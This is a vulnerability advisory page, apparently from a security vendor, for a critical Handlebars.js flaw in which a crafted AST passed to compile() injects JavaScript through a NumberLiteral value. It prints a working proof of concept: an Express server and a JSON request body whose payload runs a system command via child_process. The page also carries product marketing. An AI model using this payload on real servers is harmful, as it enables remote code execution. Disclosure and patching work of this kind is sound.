GHSA-2w6w-674q-4c4q
CRITICALHandlebars.js has JavaScript Injection via AST Type Confusion
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
handlebarsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Handlebars.compile() accepts a pre-parsed AST object in addition to a template string. The value field of a NumberLiteral AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to compile() can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.
Description
Handlebars.compile() accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in lib/handlebars/compiler/javascript-compiler.js emits NumberLiteral values verbatim:
// Simplified representation of the vulnerable code path:
// NumberLiteral.value is appended to the generated code without escaping
compiledCode += numberLiteralNode.value;
Because the value is not wrapped in quotes or otherwise sanitized, passing a string such as {},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() // as the value of a NumberLiteral causes the generated eval-ed code to break out of its intended context and execute arbitrary commands.
Any endpoint that deserializes user-controlled JSON and passes the result directly to Handlebars.compile() is exploitable.
Proof of Concept
Server-side Express application that passes req.body.text to Handlebars.compile():
import express from "express";
import Handlebars from "handlebars";
const app = express();
app.use(express.json());
app.post("/api/render", (req, res) => {
let text = req.body.text;
let template = Handlebars.compile(text);
let result = template();
res.send(result);
});
app.listen(2123);
POST /api/render HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1:2123
{
"text": {
"type": "Program",
"body": [
{
"type": "MustacheStatement",
"path": {
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": ["lookup"],
"original": "lookup",
"loc": null
},
"params": [
{
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": [],
"original": "this",
"loc": null
},
{
"type": "NumberLiteral",
"value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //",
"original": 1,
"loc": null
}
],
"escaped": true,
"strip": { "open": false, "close": false },
"loc": null
}
]
}
}
The response body will contain the output of the id command executed on the server.
Workarounds
- Validate input type before calling
Handlebars.compile(): ensure the argument is always astring, never a plain object or JSON-deserialized value.if (typeof templateInput !== 'string') { throw new TypeError('Template must be a string'); } - Use the Handlebars runtime-only build (
handlebars/runtime) on the server if templates are pre-compiled at build time;compile()will be unavailable.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | handlebars | ≥ 4.0.0&&< 4.7.9 | 4.7.9 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for handlebars. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update handlebars to 4.7.9 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-2w6w-674q-4c4q is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-2w6w-674q-4c4q is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-2w6w-674q-4c4q. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-2w6w-674q-4c4q in your dependencies?
O3 detects GHSA-2w6w-674q-4c4q across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.